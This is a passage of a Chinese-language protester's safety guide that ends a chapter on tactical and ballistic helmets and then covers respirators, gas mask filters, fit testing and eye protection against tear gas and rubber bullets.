没有测试过这种头盔与呼吸器的配合情况—— 而且许多这类头盔没有使用任何类型的下巴绑带，因此它们很容易脱落或在冲突中被抢走。各种运动头盔

2、战术头盔

「图」

战术头盔是为战斗而设计的。这就是为什么警察使用它们的原因：警察是一支占领性的军事力量。

战术头盔旨在保护士兵和其他职业战士免受其工作中出现的危险，如

子弹和弹片。许多这里头盔还被设计成可兼容其他小工具。小工具是有用的：特别是，抗议活动中的活动家可能对能够佩戴耳罩或面罩感兴趣。记者可能会对安装摄像机的能力感兴趣。尽管无法建议任何人都去拍摄抗议活动，因为这样做可能会使其他抗议者受到伤害。

📌 关于安全购买战术头盔的注意事项—— 很多战术装备制造商都明确地在政治上反对各种抗议运动，而且很多制造商还向警察组织捐钱。虽然有时有必要让资本家把绳子卖给我们来绞杀他们，但值得考虑的是，你的钱去了哪里—— 当你从制造商那里购买时，你会给他们什么信息。你的身份信息也有可能在这种情况下被暴露。

此外，比如在美国，被判犯有暴力重罪的人拥有防弹衣是非法的。除非特殊工作场所的例外。在这里，这项法律可能也适用于防弹头盔。所以，先了解您所在国家的法律。

战术头盔可以通过其防弹等级、风格以及是否设计为可携带装备来区分。它们的价格和功能组合的范围很广。出于这个原因，我们将讨论可以混合和匹配的不同类别功能、而不是相互排斥的战术头盔类型。

弹道学

「图」

战术头盔有四个等级。最低端的是气枪头盔，通常也比较便宜。这类头盔一般根本没有认证，从功能上看，它们只是较高质量头盔的塑料复制品。

下一种是防撞头盔（与防撞帽不同哦）。防撞头盔是一种战术头盔，虽然它们通常做工精良，并获得了不错的安全头盔标准认证，但它们并不具备防枪弹的等级！它们的重量只有防弹头盔的一半，而且价格也便宜很多。在军队中，这种头盔通常只被那些希望能够容纳像夜视镜这样的装备而没有弹道头盔重量的人使用。急救人员的头盔通常是颜色鲜艳的防撞头盔。

还有就是防弹头盔。几乎所有军用防弹头盔的等级都是**NIJ IIIA**——也就是说，它们的等级是可以防手枪，但不能防步枪。

最后，还有一些头盔声称可以防步枪子弹。这类头盔大多只能在远距离上防止某些步枪子弹。然而，其他的头盔可以使用一种特殊的衬垫来增加对步枪的保护水平。这也增加了头盔的重量。防弹头盔一般由芳纶纤维制成，如凯夫拉纤维。

📌 对于抗议者来说，你可能面对几乎所有的冲击威胁型号，最好的一种头盔就是弹道战术头盔。不过，最便宜的新品起步价也在千元以上，大多数好评的型号都超过一千元。

如果防撞头盔，甚至是气枪头盔，能够在不穿透的情况下抵御杀伤力较小的弹药，那么有了防撞衬垫，它们就可以是另一个最好的东西，而价格只有上述的几分之一。不过没有亲测过，您可以亲自测试一下。

风格

「图」

以下介绍的是美国型号的防弹头盔。众多用途的款式有很多，但最常见的包括：

1、**PAGST**头盔是一种款式的防弹头盔，自2001年以来已经基本淘汰了。士兵们抱怨说，悬挂系统和垫子不好用，带子效果也不够好。前面的遮挡也限制了能见度，而后颈部的保护延伸得很低，低到足以干扰俯卧位射击。对于抗议者，如果你找到便宜的**PAGST**头盔，绝对值得佩戴，但如果你要掏钱购买防弹头盔，就不要满足于**PAGST**头盔。

2、**MICH/ACH**头盔取代了PAGST型号。ACH是MICH的更现代版本，但两者非常相似。与PAGST相比，它有一个更好的下巴绑带，并依靠填充物而不是悬挂。它被认为可以提供更优异的保护，防止钝性冲击。现在，ECH头盔正在取代ACH；它们的设计非常相似，但它们是由一种更轻的材料制成的，有些人认为这种材料在防弹方面稍弱。这种风格的头盔有“耳凸”，允许佩戴者在里面戴上耳机，尽管它的贴合度并不总是很完美。MICH头盔

3、**FAST/ATE/High Cut** 头盔的构造与MICH/ACH头盔类似，但其切口在耳朵上方（ATE），而不是有耳部凸起。这种头盔重量较轻，保护性较低，并且允许使用者佩戴耳罩。如果有选择的话，这可能是最适合抗议现场情况的款式，特别是如果你可能需要佩戴护耳的话。重量只有一半，但可提供同样多的抗冲击能力，尽管对子弹的保护能力较少。这种头盔的老型号，如您可能在二手市场上找到的，有时被称为**CVC**头盔。

侧面防护和护罩

「图」

一些弹道头盔 (有时被称为 “仅有外壳”) 是普通头盔，但大多数战术头盔的区别在于其内置的各种安装选项—— 通常是侧防护和护罩。剩余的其他头盔，尤其是老式头盔，如果不带有护栏和护罩，价格就会便宜很多。

“护罩” 是头盔前额上的一个长方形，是用来安装夜视镜的。在民用市场上，大多数人都会用这个位置来安装GoPro相机。护罩是一个相当通用的系统，尽管一些便宜的头盔做工较差，可能无法与配件紧密贴合。

侧防护通常在耳朵上方，有时在耳朵后面，用于安装其他设备。它可以固定面罩、护耳、通讯设备、照明电筒、相机或其他任何你想要的东西。

就像步枪那样，并不是所有的头盔都使用相同的标准来安装侧防护；如果你选择了带有侧防护的头盔，请确保你的配件可以适合它。

📌 在抗议的情况下，你可能需要侧防护的主要原因是可以安装噪音隔离耳罩。这些耳罩可以掩盖刺激的声音（如枪声、闪光弹、LRAD、烟花和拿着扩音器的自由派等），但可以放大平静的声音。

大多数头盔（不仅仅是ATE头盔）的设计都是可以容纳像头盔下面的耳罩的—— 虽然不那么舒适，但价格可以大大便宜。

📌 如果你需要在战术头盔的前面佩戴任何东西，比如夜视镜，你可能需要在后面同时佩戴一些东西作为配重（否则你一跑起来，它就会朝着更重的一边倾斜）。士兵们有时会为此在那里存放多余的电池。

填充物

「图」

📌 如果没有良好的衬垫，世界上最坚固的头盔也无法保护你的头部免受钝性冲击。许多头盔，包括一些军用头盔，都没有足够的衬垫。要小心。

衬垫有两个作用：抗冲击和建立一个紧密而舒适的贴合。这两点都很重要。据我们所知，没有一种泡沫能同时满足这两个目的。好的衬垫应该是多层次的。

垫子一般是泡沫包裹在织物中。有时在织物和泡沫之间有塑料，以防

止汗水浸透垫子—— 这也很可能是防止化学武器暴露的一个重要特征。有些衬垫将两种类型的泡沫（抗冲击性和舒适性）以多层形式整合在一个衬垫中，而其他头盔则使用单独的衬垫，这使得头盔更加可定制，但也需要更多的工作。在多层衬垫系统中，重要的是在有泡沫的地方都要使用两层衬垫。

📌 所有类型的战术头盔之间的垫子基本上都是可以互换的，因为所有的头盔都使用钩扣式附件，并由佩戴者根据自己独特的头型进行定制。

很便宜就可以找到好的衬垫。任何有信誉的制造商都应该自豪地宣布他们产品的抗冲击认证。

二手

「图」

你可以在ebay.com或通过各种网站购买二手的头盔。二手头盔总比没有头盔要好，但头盔的防弹纤维会因磨损以及暴露在阳光下时间过久而分解，你无法确定二手头盔的防护性标准。不过，二手头盔还是要便宜很多。〇

Skills for Revolutionary Survival: 2. Basic Personal Protective Equipment

A Demonstrator’s Guide to Helmets

美国抗议者写的一段话：

> “我的朋友在上高中时失去了一只眼睛。是因为一个警察用橡皮子弹射中了他。几年后，我们参加了新一轮反对警察暴力的抗议活动，每次示威活动都有人严重受伤。我们讨论后得出的结论是：当然，如果我们作为个人保护自己，也许警察会更多地针对我们，但是，如果我们每个人都保护自己，我们整体都会更安全。我的朋友带着满满一购物车的头盔去参加下一次示威，并发表演讲，为人们讲述关于每个人都戴上头盔是多么重要。”

—— 未完待续 ——

「图」

原文

抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）- iyouport

示威参与者指南

【2021年4月20日存档】保护好自己很重要。我们不需要更多的烈士—— 我们需要更多可以继续生活和战斗的人。这里是保护眼睛和肺部免受有毒气体和弹丸的危害所需的一切

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》

📌 警察实施暴力镇压的基本方式之一是干扰您的呼吸能力—— 有时还干扰您的视觉能力。如今，无论您是否采用对抗性战术，只要您身处抗议活动 *附近*，就很有可能被催泪瓦斯或橡皮子弹击中。甚至不管您是不是抗议者。

通过采取适当的预防性措施，您可以做到减轻风险，将您的行动进行下去。

本指南将探讨保护眼睛和肺部不受化学制剂伤害和弹丸伤害的多种选择，并详细介绍每种选择的优缺点，以便您可以衡量最适合自己的方案。

摘要

「图」

最好的呼吸器是您可以使用的呼吸器。呼吸器擅长做什么 —— 过滤

被污染的空气，大多数呼吸器在紧要关头都能为您提供足够的防护。如果您没有时间阅读全文，而您又需要赶紧买一些装备，这里有一些选择：

1、最贵的

「图」

如果您想买一款新的高质量的全脸面具，MIRA CM-6M的价格是220–240美元。7M与之类似，但外观更具有 “战术性”。

如果您不想在一次行动中使用价值超过100美元的过滤器，您还可以通过ebay获得两个过期的但未开封的CBRN过滤器，每个大约20美元。这些应该可以适用于催泪瓦斯和胡椒喷雾，但不适用于高级别的威胁。

每个过滤器应该可以工作大约八个小时，也就是在完全的化学品中暴露8小时，这可能意味着30–40小时在街头示威期间，其间涉及大量的催泪瓦斯。一旦您开始闻到有毒气体泄漏的气味，您应该尽快更换过滤器。

如果您戴眼镜，这款面罩与3M安全6878眼镜套件兼容，该套件是为其6800面罩设计的。您将需要为此获得最适当的镜片。MIRA CM-6M 防毒面具

2、更便宜的全脸防护选项

「图」

民用型的全脸呼吸器，如3M品牌6800（150美元，带过滤网），可以以更便宜的价格提供基本相同的保护。在冲击测试中还发现，JJKK和HAOX品牌的中国产品（40美元，带过滤器）同样可以起到保护眼睛的作用，并提供足够的密封性。廉价面罩的一个例子

3、更便宜的和模块化的选择

「图」

如果您想要一个经济实惠的选择，而且要提供防弹和化学武器防护的最佳组合，您可以花25美元买一个6000系列的3M半脸面罩呼吸器。6100是小号的，6200是中号的，6300是大号的。贴上一对60926的

滤芯（一对35美元）。如果面罩自带60921或60923滤芯，就不需要60926滤芯了。另外，买一副 Pyramex V2G Plus 护目镜，价格15美元，用热熔胶封住上面的通风口。如果您戴眼镜，就买RX插片和匹配的镜片。

然而，将半脸面罩与护目镜搭配的最大缺点是，两者之间很难保持良好的密封性，因为护目镜和面罩会在您的鼻子上争夺相同的位置。

4、赌徒的选择

「图」

一个从剩余物资来的俄罗斯军用PMK-3防毒面具有不到20年历史。如果您能找到一个带有全套装备的这种版本，它有弹道镜片和一个用于将其连接到更常见的北约螺纹过滤器系统的适配器。面罩的剩余部分仍然有可能被击中，目前还没有找到关于外挂镜片的防弹等级的具体文件。

如果您想加倍赌一把，俄罗斯的PMK-2可以便宜到25美元，虽然它可能已经有30年历史了。PMK-2可以附带弹道外挂镜片，应该可以用一段时间 —— 但是更换过滤器会很困难。最便宜的面罩直接从俄罗斯发货，运输时间会比较长。俄罗斯的PMK3

5、更便宜，但可能不够安全

「图」

也许可以假定在多数情况下，您不会被橡皮子弹或催泪弹直接射中脸部。催泪弹会把所有没有防护的人都赶回去，而冲击弹只是偶尔会杀死或打瞎人。不过很多人都被击中脸部了。处于遭受警察暴力的一端是很危险的。

我们只能推荐具有抗冲击级塑料的眼镜。但如果您没有机会获得这种，而您无论如何都要出去参加抗议，您需要一个全脸防毒面具（军队剩余物资或其他的）或半脸面罩加护目镜。确保您使用的过滤器是军用型的（过期或未过期的），或额定可处理有机蒸汽和P100微粒过滤。确保您的护目镜是密封的。确保所有的东西都紧贴着您的脸。

祝您好运。如果有什么不好的事发生，不要怪我们—— 我们告诉过您不要这样做。

—— 如果您想在您已经获得的东西上进行改进，或者您有不同于上述的战术需求，请继续阅读。——

保护您的肺部，保护您的眼睛

「图」

我们要解决两个不同的目标：保护肺部和保护眼睛。您可以使用呼吸器来保护您的肺部，过滤空气中的化学物质。您可以使用护目镜、或面罩保护您的眼睛 —— 无论它们是独立于呼吸器的，还是与呼吸器结合成一个全脸系统。

保护您的肺部：呼吸器

「图」

呼吸器—— 技术上来说，APR（空气净化呼吸器）—— 是一种在您呼吸空气之前过滤空气中的杂质的设备。

呼吸器或防毒面具有几类，其中有两类我们要完全略过：SCBA (自给式呼吸器)，自带氧气供应，供潜水员和一些应急人员使用；PAPR (动力式供气呼吸器)，通过电力将空气强行通过过滤器，这些都不是行动者需要的。在这里我们将重点讨论全脸呼吸器、半脸面罩呼吸器，以及在较小程度上的一次性呼吸器。我们还将讨论即兴的空气过滤装备和目前对DIY呼吸器的猜测。

我们将研究两类通用的、非技术性的呼吸器：军用/战术呼吸器和民用/工作场所呼吸器。

1、军用呼吸器（防毒面具）

「图」

军用和战术呼吸器主要用于世界各地的军队和军事化警察部队。这些都是全脸式呼吸器 —— 当您听到 “防毒面具” 这个词时就会想到的东西。它们几乎都使用同一种过滤器：北约标准的40毫米螺纹过滤器，有时被称为STANAG过滤器。目前发行的美国军用（可能还有执法部门使用的）面罩配了专有的卡口式安装方式，而不是自封式，使其更容易在现场更换过滤器。

这些防毒面具通常被评为可以抵御从化学武器到核尘埃的全方位威

胁。较新的军用型号通常包括一些功能，如语音隔膜，使其更容易让佩戴者彼此对话，过滤器的多个端口允许最大的气流，并使您能够在不移除面罩的情况下更换过滤器，以及供水系统，可以连接到水壶或水囊。

大多数武装部队使用的型号（目前或以前的）都可以接受夹在镜片或面罩外面的弹道镜片或外罩。如果您的面罩可以使用这些东西，您就会想要这些东西。军用防毒面具可以以相当多的钱购买新的，或在二手市场上买到便宜得离谱的同类商品。新的军用或战术面罩起价在200美元以上，大部分在500美元左右。一些剩余物资可以用30–100美元找到。

防毒面具的剩余物资市场是出了名的时好时坏，东西常常被贴错标签。有些东西，比如一些旧的俄罗斯防毒面具，可能是危险的：有些使用玻璃眼罩而不是抗冲击的塑料，而有些可能含有石棉。一定要小心。

下面将列举的是一些常见的剩余物资型号，并讨论它们是否符合现代行动者的需求。发黄的镜片可以修复，但腐烂的橡胶密封圈就不能修复了。老式塑料镜片的抗冲击能力会大大降低—— 在冲击测试中，只用**BB**弹就击碎了一个以色列防毒面具的镜片。剩余物资的面罩可以从30–500美元不等，这取决于面罩的稀有程度或有用性。足够好的防毒面具（减去防弹等级）似乎一直以80–120美元的价格出售。
STANAG过滤器

2、民用呼吸器

「图」

民用/工作场所呼吸器有半脸面罩和全脸面罩两种款式。它们由一些公司制造，其中许多公司使用自己专有的过滤附件。这里将重点介绍3M公司生产的面罩，因为它们的数量最多，而且其他一些公司也采用了他们的“卡口”式过滤器安装系统（他们称之为“滤筒”）。

如果您的面罩已经有了专有的过滤系统，如霍尼韦尔或MSA公司的口罩，📌 请确保您的过滤器的防护等级为**OV**和**P100**。

如果您使用的面罩有专有系统，请继续阅读下文的过滤器部分，以确定哪些过滤器可以适合您。

半脸的 COVID-19 面罩是布制的，但包括呼气阀和可更换的碳过滤

器，📌 请注意它不太可能对化学武器有什么用处。它也可能不会保护您周围的人免受病毒的侵害，如果您已经感染了的话，因为它们不会过滤呼出的气。

我们还没有找到任何符合弹道冲击标准的带口罩的民用型全脸呼吸器（下文“保护眼睛”部分将讨论），但根据最初的冲击武器测试，3M型号和其他一些型号的呼吸器被评为一般抗冲击性，并且似乎使用与防弹级面罩相同的塑料。一位街头医护人员表示更喜欢佩戴3M 6800全脸呼吸器，理由是它的民用造型比军用造型更容易让患者安心。全脸式民用呼吸器的价格在60–70美元左右，名牌产品更贵。半脸面罩则要便宜得多 —— 仿制品只要8美元，名牌则要30美元。

3M公司生产三种不同型号的半脸面罩和全脸面罩呼吸器。它们中的任何一种都足以满足行动主义的目的，尽管稍微先进的硅胶面罩的密封效果更好。很可能7500系列是最适合行动者用途的半脸面罩呼吸器，FF-400系列是最适合行动主义用途的民用全脸呼吸器。FF-400系列配备了语音隔膜，所以您的声音不会听起来那么闷。

3M每款都有三个尺码，但“中号”可以适合**80%-90%**的人。在某种程度上，尺码对舒适度比对功效更重要。

eBay上花15美元您可以买一个适配器，从40毫米螺纹过滤器转到卡口过滤器，反之亦然。所以不要单单根据什么过滤器来限制您对面罩的选择。3M Ultimate FX全罩式可重复使用呼吸器FF-402

附录：**3M**呼吸器-分类

「图」

半脸的 ——

— 6000系列[基本]：

- 6100: 小
- 6200: 中
- 6300: 大

— 6500系列 [硅橡胶]：

- 6501: 小
- 6502: 中

- 6503: 大

— 7500系列 [硅橡胶，透气性更好]：

- 7501: 小
- 7502: 中
- 7503: 大

全脸型 ——

— 6000系列 [基本]：

- 6700: 小
- 6800: 中
- 6900: 大

— FF-400系列[更高级]：

- FF-401: 小
- FF-402: 中
- FF-403: 大

— 7000系列 [价格明显更高]：

- 7800S-S: 小
- 7800S-M: 中
- 7800S-L: 大

安装呼吸器

「图」

📌 无论您戴的是半脸的还是全脸的呼吸器，每次戴上时都要检查是否合适 —— 首先用手挡住呼吸器的滤筒，然后吸气，您应该感觉到在面罩中产生负压，没有空气渗入。然后将手放在出口阀上，然后呼气。应该在面罩中产生正压，没有空气逸出。在进行这项测试时，有些面罩比其他面罩更容易，对于民用面罩，用手去有效地堵住过滤网可能会很困难。

有些工作场所通过将一些气味浓烈的东西或某种温和的刺激性物质放在佩戴者的鼻子下，看看他们的反应如何，来测试是否合适。

虽然有胡子的人已经知道，如果在胡子和橡胶密封圈上涂上大量的凡士林，就会形成一个密封圈。但这种密封很难永久，而且**CS**粉似乎是脂溶性的，所以它可能会像与皮肤保湿剂和化妆品一样，与凡士林痛苦地混合在一起。一位医生认为，胡子处的化学灼伤可能比把化学品弄到眼睛里更好些。无论如何，剃掉胡须是最安全的选择。即使是几天的胡茬也可能是个问题，需要涂抹凡士林或剃须。

我们采访了一位不想刮胡子的人，他只是觉得空气会有点“辣”，即使没有适当的密封，仍然觉得自己的面罩非常有用。我们不能推荐这种做法，但可能与您自己的成本效益分析有关。

儿童防毒面具的来源很难。它们是存在的，但生产的数量不一样。MIRA，我们能够找到的唯一一家有库存的供应商，在撰写本报告时已经售罄。有时您也能找到以色列剩余的儿童面罩。MIRA还制作了一个防毒携带袋，可以让用户安全运送婴儿或宠物。

📌 将半脸面罩呼吸器与护目镜搭配使用，最大的缺点是很难同时对两者进行适当的密封。尤其是对于较大的面罩和较大的护目镜来说，更是如此。第二大缺点是，这样做不能保护脸部所有的皮肤不受化学品的伤害。

过滤器

「图」

您需要确保您的过滤器同时适用于油性颗粒物（P100过滤）和有机蒸气。

如果您有一个北约螺纹的军用面罩 —— 对于40毫米螺纹款，您需要CS/CN/P100过滤器，作为一个平民这可能是很难得到的，这些东西通常发给警察；或CBRN过滤器，这是更常见的，但也更昂贵。**CBRN**过滤器对于示威者来说是矫枉过正的，因为它是为了防止化学、生物、辐射和核威胁而设计的。幸运的是，过期但未开封的这类过滤器应该可以在抗议现场使用，而且价格便宜得多。

如果您有一个3M面罩 —— 您需要60921、60923或60926过滤器。

如果您有其他东西，请继续阅读。

如果您很可能会接触到防暴武器，您会希望您的面罩可以过滤两样东西：空气中的微粒和有机蒸汽。

美国的微粒过滤器是根据它们的耐油性来评定的—— N是不耐油，R是有点耐油，P是耐油—— 以及它们过滤掉的空气微粒的百分比 ——95%、99% 或 99.97%（称为100）。这就解释了N95的名称，即通常用来防护 COVID-19 的口罩。

📌 作为抗议者您要找的是P100，最高级别的保护。这些并没有大幅提高价格，而且似乎没有什么理由使用任何其他颗粒物过滤器，除非您的特定面罩设置只允许N95，这仍然比什么都没有的好。欧洲标准并不对耐油性进行评级，只对颗粒过滤进行评级。P1口罩至少过滤80%的颗粒；P2口罩至少过滤94%的颗粒；P3口罩至少过滤99.95%的颗粒。

虽然常见的催泪瓦斯和胡椒喷雾都是由颗粒物组成的，而不是气体或蒸汽，但空气中的颗粒物本身也会释放出有机蒸汽。您需要微粒过滤器（一般用玻璃纤维纸制成）来阻止微粒，然后是有机蒸汽屏障（一般是活性炭）。**NIOSH**对有机蒸汽防护的认证是 **“OV”——** 请在您的过滤器或其文件上查找。其他一些OV刺激物包括杀虫剂、溶剂和油漆烟雾，所有这些都是口罩在其销售信息中经常提到的。

我们已经看到了基于前线经验的抗议者指南，声称只有OV过滤是必要的。我们也看到其他指南声称只需要P100。大多数人似乎都同意这是必要的组合，但我们怀疑，在紧急情况下单独一个是否可以。

📌 颗粒物过滤器不会随着时间的推移而降低过滤颗粒物的效果。相反，当它们堵塞到导致呼吸困难时，就有必要更换了。

随着使用时间的推移，有机蒸气过滤器的效果确实会降低，因为木炭变得饱和。热度和湿度都会降低木炭过滤器的有效寿命。热会导致木炭分离，而水蒸气会使木炭饱和，使其无法吸收活性物质。

📌 一旦闻到有化学物质从外面通过过滤器渗入面罩的味道，就应该立即更换有机蒸汽过滤器。

未开封但过期的过滤器一般被认为可以使用—— 只用于有机蒸汽和微粒 —— 只要它们是真空密封的，但如果湿度能够到达木炭，它们很可能已经被毁掉了。多位当过兵的人说过，军方在催泪瓦斯环境中一直使用过期的过滤器，没有任何问题。但这无法确认。

1、北约螺纹过滤器

「图」

对于40mm螺纹过滤器，您至少需要 “CS/CN/P100”。AVON、Honeywell 和 MSA 都有生产这种过滤器，但作为平民您很难买到，特别是在冠状病毒大流行期间。 MIRA Safety 公司制造了一种高质量的过滤器；3M公司也制造了这种过滤器。小心从 **ebay** 或二手市场购买**CBRN**过滤器：许多是 “新” 的，因为它们没有被使用或打开过，但是几十年前制造的。您需要查找制造日期，否则就是掷骰子了。

对于所有的面罩，您至少需要一个过滤器。有些面罩可以选择一次带两个甚至三个过滤器，以增加气流，对于可能涉及需奔跑或其他剧烈运动的情况，这是一个优势。

2、3M卡口过滤器

「图」

3M口罩及其克隆产品使用卡口式过滤器附件。其他一些专有的附件系统类似，但不能与3M互换，但3M是最常见的。如果您使用这些，您很可能最终会使用3M品牌的过滤器。请注意，3M公司区分滤芯（吸收气体的部分，通常由经过各种化学处理的活性炭制成）和过滤器（阻挡颗粒物的部分）。确保您两者都有。您可以通过购买单独的滤芯和过滤器以及连接它们的适配器，或者通过购买预装过滤器的组合滤芯来实现。显然，后者更简单。

向香港的行动者们致敬，他们做了大量的工作，搞清楚了您需要什么滤芯和过滤器。

如果您想要一个组合滤芯，您的选择包括60921（有机蒸汽＋P100），60923（有机蒸汽和酸性气体＋P100），或60926（多气体＋P100）。您需要两个，而且它们通常是成对的。两个*3M*半脸面罩呼吸器，显示了几种过滤器的设置。从左到右：一个*p100*过滤器连接到带有*502*适配器的*OV*滤芯上；一个*N95*过滤器连接到带有*501*适配器的*OV*滤芯上；一个空白卡口连接点；一个*p100*过滤器直接连接到面罩上。缺失：一体式滤芯，通常可通过亮粉色的外壳识别。

3M公司为他们的P100过滤器打上了霓虹粉色的标记。有些人表示担心这样做会使使用者变得可识别，因为它违反了全黑的行动者美学——不过如果有足够多的人使用粉色过滤器，这就不是什么问题了。

更换过滤器

「图」

研究表明，在压力下，即使是训练有素的士兵也很难在屏住呼吸的情况下更换过滤器。目前美军型号的面罩—— Avon M50，有自封式卡口安装的滤网，可以让操作者每次更换一个滤网，同时继续通过另一个滤网呼吸。

作为平民，您能接触到的大多数面罩都不会有这个功能。如果要更换过滤器，您可能要屏住呼吸或退出受影响的区域。

波特兰的一位行动者报告说，他们更喜欢带独立微粒过滤器的3M滤芯（6001滤芯带可连接的P100过滤器），因为**P100**过滤器可以在不摘下面罩的情况下进行更换，仅靠滤芯短暂的过滤。

另一位行动者说，他们从2011年开始就一直在使用同一个防毒面具滤芯（军用型40mm的），从来没有通过它尝到过辛辣的空气。这支持了一个理论，即：大部分重要的过滤工作都是由颗粒过滤器来完成的，而颗粒过滤器是永远用不完的，只是堵塞了。

波特兰的其他行动者报告说，他们的过滤器每个都能用30–40小时。

一些多余的面罩采用了位于面罩内部的 “脸颊” 过滤器。更换这些过滤器是一个费力的过程，一些 YouTuber 发现，如果面罩是旧的，那么在更换时很容易撕破面罩的橡胶。

📌 不过，也有人表示喜欢这种面罩，因为他见过警察会抓住其他面罩的外部过滤器让佩戴者无法摆脱，因为脸颊过滤器不容易抓握。

清洁和存放

「图」

每次接触化学武器后，都应该清洗呼吸器。3M公司有卖这种产品 “504呼吸器清洁湿巾”。这些都是负担得起的，但可能没有必要。它们所含的成分是商业机密。大多数人只用肥皂和水，效果一样不错。

📌 不要把过滤器泡在水里，只需用肥皂和水擦拭外面。然后取出滤网，存放在密封袋或其他密封容器中，这样就不会吸收空气中的水分。

关于 **COVID-19** 的注释

「图」

与布制的和外科口罩不同，呼吸器并不能保护您周围的人不受您的病菌侵害。然而，比起布质口罩或外科口罩，呼吸器更能保护您自己免受周围细菌的侵害。一名抗议者报告说，他在呼吸器上戴了一个布口罩，以便为其他示威者挡住飞沫。反对警察谋杀弗雷迪·格雷（Freddie Gray）的起义期间，2015年巴尔的摩抗议者使用了脸颊过滤的防毒面具。

防护板和镜片

「图」

全脸面罩要么使用全脸防护板，要么在眼睛部位使用单独的镜片。镜片在军用型号中比较常见，而防护板在民用型号中比较常见。全脸面罩的可视性更好。有可能全防护板更难做到抗冲击，不过已经找到了两种类型的防弹和非防弹的例子。

带镜片的面罩对于那些要使用武器上的光学系统（如步枪或榴弹发射器上的瞄准镜、红点或铁制瞄准器）的人来说，可以更方便，因为它允许您更好地肩扛武器，并更清楚地观察枪管下的情况。当然，这对示威者来说一般没什么用处。总而言之，全脸面罩似乎更可取。

民用面罩

「图」

我们将继续研究非品牌面罩，中国有很多。有些被评为抗冲击；有些使用常见的过滤器样式。到目前为止已经试用了 JJKK 和 HAOX 型号。在贴合测试中，两者都对我们的脸部形成了足够的密封，尽管还没有将它们带到催泪瓦斯环境中。两者都有抗冲击的面罩，当用各种冲击弹射击它们时，它们的表现与美国品牌**3M**相同—— 也就是说表现得足够好。有人建议购买者应该在 BangGood 或亚马逊购买，而不是在淘宝或eBay上购买这类面罩，因为质量控制稍好。

可以想象，也许可以直接与厂家合作，按照你们所需的规格生产面罩，或者至少是批量采购。有雄心的团体可以考虑在自己的城市或地区尝试这样做。

剩余物资面罩

「图」

剩余物资军用面罩是另一种廉价的全脸防毒面具选择。它们可能很难可靠地找到货源，因为许多零售商（或为零售商服务的其他分销商）在生产日期上撒谎，并可能在功能上撒谎。过滤器也是如此，在ebay上尤其如此。

用于密封的橡胶和用于镜片和防护板的塑料都会随着时间的推移而退化，特别是当暴露在阳光下时；无论是根据我们的测试经验还是从街上收集的轶事，它们似乎都是众所周知的容易破裂。

大多数剩余物资面罩有三种尺寸—— 小号、中号、大号（一般分别编号为1、2、3，编号显示在面罩的橡胶上），但往往网购时无法选择尺寸。无论您买到什么面罩，都要确保它能紧紧地封住您的脸。即使是劣质的或尺寸不对的面罩，只要它能紧贴面部，并配有足够的过滤器，也能保护您。

如果您能得到正确的型号和原产国，可以搜索在线军事装备网站，交叉参考卖家的说法。

追踪镜片和面罩的防弹等级一直是个挑战。如果能找到一个接受40毫米北约螺纹过滤器并包括防弹镜片或防护板（通常作为一个单独的外挂附件）的面罩，将会非常有用。对于那些愿意放弃弹道镜片或防护板的人来说，剩余物资面罩往往是最佳选择。

目前美军的主要型号是雅芳M50，250美元就能买到。虽然我们一般不推荐使用专有过滤器的面罩，但M50过滤器相当便宜（目前一对50美元），而且，正如前面提到的那样，您可以在现场更换它们，而不会让自己暴露在有毒气体中。这种面罩的防弹外挂也很便宜。

C50型号是同一面罩的民用型号，虽然它被执法部门广泛使用。主要的区别是，它接受40毫米的北约过滤器。不管是好是坏 —— 通常是更坏 —— 戴上这个面罩会让您看起来很有点像士兵或警察。小心其他抗议者会揍你……

美国军方从1986年到2009年使用的雅芳M40，3M公司生产的民用克隆产品叫 FR-M40，各方面都是一样的。3M公司还为镜片生产了保护性外挂，但我们还不能确定其抗冲击等级。

美国空军和海军自70年代起就开始使用MCU-2P，任何剩余物资都可能是来自该范围内的任何一年，它们在ebay上的价格从150美元到300美元不等。您可以在这里学习如何识别型号和年份。虽然一些文件声称 MCU-2P 防护板是防弹的，但一个特定的防弹罩可以以75美

元左右的价格买到。这意味着单单面罩是不防弹的。

俄罗斯的PMK-3（从2000年开始使用到最近，售价70美元）和PMK-4（从2017年开始使用，价格要贵得多）也可以利用防弹外挂，这类外挂往往是全套装备的。全套装备中还包括一个适配器，用于将他们的专有过滤系统连接到北约螺纹系统。PMK-2更便宜 —— 约30美元 —— 通常配有防弹镜片，但只能使用 40mm-GOST 过滤系统（华约国家使用）。

2020年**7**月，一名《国家地理》杂志的电影制片人在俄勒冈州波特兰市佩戴捷克**M10**（美国**M17**的仿制品）时，联邦特工用**FN303**气枪的**.68**子弹射中了他的脸，打碎了他的面罩的塑料镜片，严重损害了他的眼睛。这两款面罩都可以选择使用防弹外挂，而他当时没有安装。

以色列国防军使用M15，其民用型号4A1则分发给以色列公民。两者在剩余物资市场上都能买得起。大多数只是标明是作为M15面罩出售，但您可以看出区别，因为**4A1**的眼孔是圆形的，而不是**M15**上使用的奇形眼孔。制造商 Shalon 化学工业公司声称，塑料镜片具有抗冲击性，而且它们似乎没有带防弹外罩出售，但却被一支现代军队使用。

我们还无法确定它们是否被评为防弹级别，所有的塑料镜片都会随着时间和紫外线照射而退化。这两款面罩似乎是最实惠、最容易获得、功能最齐全的剩余物资防毒面具。4A1是我们目前唯一做过冲击测试的面罩 —— 其镜片在受到轻微冲击时很容易碎裂，但不确定受试面罩的生产时间，因为我们买的是剩余物资。对以色列4A1进行了冲击测试，结果很令人沮丧

警察用什么

「图」

警方使用的装备经常是混搭的，因为他们从军方剩余物资和各种资助机构获得装备。在美国，最常见的两种面罩是 Avon C50（尽管联邦警察有可能使用M50军用版代替）和 MSA Advantage 1000（或其军用级同等产品 MSA Millennium）。人们经常看到C50配备了雅芳面罩通讯装置。目击者报告说，在波特兰看到警察戴着霍尼韦尔北方公司的全脸呼吸器，大概是7600系列。

即兴面罩

「图」

📌 一条头巾，最好是湿的，可以过滤掉足够的催泪瓦斯，帮您摆脱困境。这总比没有的好。有些消息来源说，因为CS会附着在水面上，所以湿的头巾只会让情况变得更糟，但也有其他消息来源、包括真正接触过CS的人都说，湿的头巾可以减少进入呼吸道的微粒数量。有可能湿头巾会变得更早饱和 —— 但它会饱和所有的东西，否则那些东西会在您的肺部饱和。

